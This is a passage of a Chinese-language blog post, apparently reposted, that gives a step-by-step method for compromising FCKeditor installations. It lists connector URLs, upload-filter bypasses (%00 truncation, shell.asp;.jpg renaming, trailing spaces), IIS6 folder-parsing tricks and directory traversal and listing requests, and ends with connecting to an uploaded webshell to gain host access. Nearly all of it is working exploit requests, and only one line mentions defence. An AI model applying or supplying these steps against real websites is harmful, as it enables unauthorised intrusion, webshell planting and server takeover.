FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp
fckeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/aspx/connector.Aspx
fckeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/php/connector.php

3.突破限制

3.1 上传限制

上传限制的突破方式很多,主要还是抓包改扩展名,%00截断,添加文件头等



3.2 文件名限制

3.2.1二次上传绕过文件名‘ . ’ 修改为‘ _ ’

FCK在上传了诸如shell.asp;.jpg的文件后,会自动将文件名改为shell_asp;.jpg。可以继续上传同名文件,文件名会变为shell.asp;(1).jpg



截断.png

3.2.2提交shell.php+空格绕过

空格只支持windows系统,linux系统是不支持的,可提交shell.php+空格来绕过文件名限制。



3.3 IIS6.0突破文件夹限制

Fckeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=File&CurrentFolder=/shell.asp&NewFolderName=z.asp
FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=/shell.asp&NewFolderName=z&uuid=1244789975684
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp

3.4 文件解析限制

通过Fckeditor编辑器在文件上传页面中,创建诸如1.asp文件夹,然后再到该文件夹下上传一个图片的webshell文件,获取其shell。

http://127.0.0.1/images/upload/201806/image/1.asp/1.jpg

4.列目录

4.1 FCKeditor/editor/fckeditor.html

FCKeditor/editor/fckeditor.html不可以上传文件,可以点击上传图片按钮再选择浏览服务器即可跳转至可上传文件页,可以查看已经上传的文件。



4.2 根据xml返回信息查看网站目录

http://127.0.0.1/fckeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../../&NewFolderName=shell.asp

4.3 获取当前文件夹

FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/connectors/php/connector.php?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/

4.4 浏览D盘文件

/FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=D:/

  1. 连接木马

    在木马能够解析之后,使用各类工具连接到木马,获取webshell。至此,利用FCKeditor进行文件上传并攻击的过程就已经完成。



    三. 其他

    最近的工作中遇到的站里大多数都存在FCKeditor编辑器,基本都存在以上漏洞,可以说是非常严重的问题。

    在获取到webshell之后,可以进行的操作非常多,也便于提权操作,拿下主机权限并不困难。

    关于该漏洞的防御,可以删除掉所有的上传点,并限制目录访问。

    转载自:https://cjjkkk.github.io/fckeditor-upload/

admin 发布于  2019-10-15 21:39